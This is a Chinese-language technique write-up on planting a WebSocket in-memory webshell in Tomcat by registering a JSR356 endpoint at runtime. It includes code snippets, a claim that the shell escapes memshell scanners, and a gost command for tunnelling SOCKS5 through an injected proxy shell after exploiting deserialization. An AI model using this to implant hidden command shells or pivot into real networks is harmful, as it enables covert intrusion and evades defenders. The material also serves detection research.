一種全新的內存馬
前言
WebSocket是一種全雙工通信協議,即客戶端可以向服務端發送請求,服務端也可以主動向客戶端推送數據。這樣的特點,使得它在一些實時性要求比較高的場景效果斐然(比如微信朋友圈實時通知、在線協同編輯等)。主流瀏覽器以及一些常見服務端通信框架(Tomcat、netty、undertow、webLogic等)都對WebSocket進行了技術支持。
版本
2013年以前還沒出JSR356標準,Tomcat就對Websocket做了支持,自定義API,再后來有了JSR356,Tomcat立馬緊跟潮流,廢棄自定義的API,實現JSR356那一套,這就使得在Tomcat7.0.47之后的版本和之前的版本實現方式并不一樣,接入方式也改變了。
JSR365是java制定的websocket編程規范,屬于Java EE 7的一部分,所以要實現websocket內存馬并不需要任何第三方依賴
服務端實現方式
注解方式
@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)
Tomcat在啟動時會默認通過 WsSci 內的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再掃描 classpath下帶有 @ServerEndpoint注解的類進行 addEndpoint加入websocket服務
所以即使 Tomcat 沒有掃描到 @ServerEndpoint注解的類,也會進行Listener和 servlet注冊,這就是為什么所有Tomcat啟動都能在memshell scanner內看到WsFilter

繼承抽象類Endpoint方式
繼承抽象類 Endpoint方式比加注解 @ServerEndpoint方式更麻煩,主要是需要自己實現 MessageHandler和 ServerApplicationConfig。@ServerEndpoint的話都是使用默認的,原理上差不多,只是注解更自動化,更簡潔
可以用代碼更方便的控制 ServerEndpointConfig 內的屬性
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();
websocket內存馬實現方法
之前提到過 Tomcat 在啟動時會默認通過 WsSci 內的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再掃描 classpath下帶有 @ServerEndpoint注解的類進行 addEndpoint加入websocket服務
那如果在服務啟動后我們再 addEndpoint 加入websocket服務行不行呢?答案是肯定的,而且非常簡單只需要三步。創建一個ServerEndpointConfig,獲取ws ServerContainer,加入 ServerEndpointConfig,即可
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build(); ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName()); container.addEndpoint(config);
效果
首先利用i.jsp注入一個websocket服務,路徑為/x,注入后利用ws連接即可執行命令

且通過memshell scanner查詢不到任何異常(因為根本就沒注冊新的 Listener、servlet 或者 Filter)

代理
WebSocket是一種全雙工通信協議,它可以用來做代理,且速度和普通的TCP代理一樣快,這也是我研究websocket內存馬的原因。
例如有一臺不出網主機,有反序列化漏洞。
以前在這種場景下,之前可能會考慮上reGeorg或者利用端口復用來搭建代理。
現在可以利用反序列化漏洞直接注入websocket代理內存馬,然后直接連上用上全雙工通信協議的代理。
注入完內存馬以后,使用 Gost:https://github.com/go-gost/gost 連接代理
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
然后連接本地1080端口socks5即可使用代理
完整代碼:https://github.com/veo/wsMemShell